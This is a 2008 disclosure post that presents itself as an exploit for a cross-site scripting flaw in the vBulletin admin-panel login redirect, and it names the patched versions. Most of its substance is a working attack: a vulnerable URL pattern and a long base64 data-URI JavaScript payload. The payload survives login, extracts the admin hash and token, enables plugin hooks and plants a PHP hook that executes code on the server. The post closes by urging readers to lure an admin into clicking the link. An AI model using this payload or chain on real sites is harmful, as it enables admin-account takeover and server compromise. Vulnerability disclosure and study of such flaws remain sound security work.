Exploit for vBulletin "obscure" XSS (3.7.1 & 3.6.10) Jun 13 2008 01:35PM
Jessica Hope (jessicasaulhope googlemail com)
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Advisory : Exploit for vBulletin "obscure" XSS
Release Date : June 13th 2008
Application : vBulletin
Version : vBulletin 3.7.1 and lower, vBulletin 3.6.10 and lower
Platform : PHP
Vendor URL : http://www.vbulletin.com/
Authors : Jessica Hope (jessicasaulhope (at) googlemail (dot) com [email concealed])

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Overview

Due to various failures in sanitising user input, it is possible to
construct XSS attacks that are rather damaging.

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Discussion

vBulletin released PL1 for their 3.7.1 and 3.6.10 versions of vBulletin:
http://www.vbulletin.com/forum/showthread.php?t=274882

In the above topic they try to pass off the XSS as difficult to exploit,
with low exposure and damage. This advisory is here to detail what the
XSS is and how wrong Jelsoft are for assuming that XSS is harmless.

First, the discussion of exactly what the exploit is. The XSS in question
exists on the login page for the ACP (admin control panel). The login
script takes a redirect parameter that lacks sanitation, allowing a
rather easy XSS:

http://localhost/vB3/admincp/index.php?redirect={XSS}

Yes, here goes the obscure. What is even better is that the exploit will
work outright if the admin is already logged in; if the admin is not, they
will be required to log in. If you Base64-encode your attack vector using
the data: URI scheme, the XSS survives the login request and activates after
the admin is logged in. A simple example of the above:

http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,PH
NjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

Now to address the quote "potential for exposure and damage is limited".
Clearly Jelsoft have never seen what one can do with an XSS. In this case
you have an unlimited and unaltered XSS space, so you're free to invoke some
AJAX and have fun. Just to give ideas on how this could turn into something
larger, vBulletin has hooks that operate using eval(), and new hooks can
be added via the ACP itself. It is trivial to write some JS that not only
enables hooks but also inserts a nice RFI hook. Here's one using the data
URI:

data:text/html;base64,PHNjcmlwdD5ldmFsKCJ1PSdhcHBsaWNhdGlvbi94LXd3dy1mb3
JtLXVybGVuY29kZWQnO2M9J0NvbnRlbnQtdHlwZSc7ZD0nQ29udGVudC1sZW5ndGgnO3JlZz
0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7cmVnLm9wZW4oJ0dFVCcsICdodHRwOi8vbG9jYWxob3
N0L3ZCL3VwbG9hZC9hZG1pbmNwL3BsdWdpbi5waHA/ZG89YWRkJywgZmFsc2UpO3JlZy5zZW
5kKG51bGwpO3IgPSByZWcucmVzcG9uc2VUZXh0O3Q9J2h0dHA6Ly9sb2NhbGhvc3QvdkIvdX
Bsb2FkL2FkbWluY3AvcGx1Z2luLnBocCc7aD0nJmFkbWluaGFzaD0nK3Iuc3Vic3RyKHIuaW
5kZXhPZignaGFzaFwiJykrMTMsMzIpO3RvPScmc2VjdXJpdHl0b2tlbj0nK3Iuc3Vic3RyKH
IuaW5kZXhPZigndG9rZW5cIicpKzE0LDQwKTt0Mj0ncHJvZHVjdD12YnVsbGV0aW4maG9va2
5hbWU9Zm9ydW1ob21lX3N0YXJ0JmRvPXVwZGF0ZSZ0aXRsZT1mb28mZXhlY3V0aW9ub3JkZX
I9MSZwaHBjb2RlPXBocGluZm8oKTsmYWN0aXZlPTEnK2grdG87cjIgPSBuZXcgWE1MSHR0cF
JlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJywgdCwgZmFsc2UpO3IyLnNldFJlcXVlc3RIZWFkZX
IoZCwgdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7dD
0naHR0cDovL2xvY2FsaG9zdC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25zLnBocCc7dDI9J2
RvPWRvb3B0aW9ucyZzZXR0aW5nW2VuYWJsZWhvb2tzXT0xJytoK3RvO3IyPSBuZXcgWE1MSH
R0cFJlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJyx0LGZhbHNlKTtyMi5zZXRSZXF1ZXN0SGVhZG
VyKGQsdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7Ii
k8L3NjcmlwdD4K

The above will survive a login prompt. It will then, once executed, proceed
to parse one of the ACP pages and extract the admin hash and token, then
it will enable hooks and add one that executes phpinfo().

In order to exploit, just get an admin to click the link. It's easier
than Jelsoft would expect...

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Solution

Per usual, update to 3.7.1 PL1 or 3.6.10 PL1

For the vendor, however, the solution to such things in the future is to
never call an exploit obscure, and never write "the potential for exposure
and damage is limited" when talking about an XSS. Above all, give credit where
credit is due, for there's no quicker way to piss someone off than to not give
credit. If the above was due to your PR department, then ignore them next time,
for handling exploits with PR is never a good idea.

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